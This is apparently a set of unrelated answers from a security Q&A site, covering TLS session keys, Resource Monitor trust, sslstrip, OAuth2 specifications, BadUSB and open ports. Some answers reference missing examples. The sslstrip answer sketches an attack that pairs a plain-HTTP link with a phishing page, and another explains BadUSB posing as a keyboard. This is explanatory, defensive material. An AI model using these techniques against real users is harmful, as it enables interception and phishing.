Therefore, there is no official definition of a Session Key in the context of SSL/TLS. However, in general, a session key is simply a symmetric key, which is only valid for a particular communication session. Now, this key can be either used as an encryption key or a MAC key. It simply has to be a symmetric and valid for a particular session. In context of TLS, people usually use the term session keys for the four keys derived from the Master Secret (client write MAC key, server write MAC key, client write encryption key, and server write encryption key). For example: the author of this awesome blog article "The First Few Milliseconds of an HTTPS Connection" has used the term for the above mentioned four keys.

PS: I highly recommend reading the linked article, if you really want get an in depth understanding of SSL/TLS.


Can I trust the details given in Resource Monitor?

The "Description" is set the from the Title of the application assembly. I'll give you an example in vb.net:

It's from the "File description" property which has as "Title" in Assembly information in Visual Studio 2010.

And yes, that could be easily changed as I changed it myself right now.
I'd suggest for that you use Process Explorer from Sysinternals because it has a tab which displays if the process has a "Digital Signature" from a company like this:

which can be helpful.


Does sslstrip work only on websites which use both HTTP and HTTPS?

SSL Strip only works on websites which uses both HTTP & HTTPS.

That's not accurate because it implies turning off HTTP support secures against the attack.

The point is that sslstrip steps in when the user requests a site over plain HTTP first. It's about how the browser attempts to connect to the server, not what the server supports. You're only safe if the browser doesn't attempt a plain HTTP connection at all (because of a HSTS directive it has seen earlier or because the website is in the browser's HSTS preload list).

  I mean is SSLStrip attack still possible against a website that is only using HTTPS?

Yes. Let's say https://yourbank.example/ doesn't serve anything over plain HTTP. Now, I send you a link to http://yourbank.example/ anyway. When your browser attempts the plain request, I use sslstrip to intercept it and respond with a phishing site. As you see, it's irrelevant if the original site would have served any content over plain HTTP because I don't forward the request anyway.


Is there an overview over all OAuth2-related specifications?

I found quite useful the diagram represented under the openid website OpenID Connect Protocol Suite. You can click on the boxes in order to see the specification


That is exactly the point of BadUSB, at first it looks like a mass storage device, but because of the way USB operates, this function can be renegotiated. It can tell the computer it is now a keyboard, give it some commands and return to being a mass storage device.


Attacking through an open but not listened port

If there is no application listening to a port, the operating system will reject incoming packages sent to this port. So no attack is possible related to intrusion into the system via this port.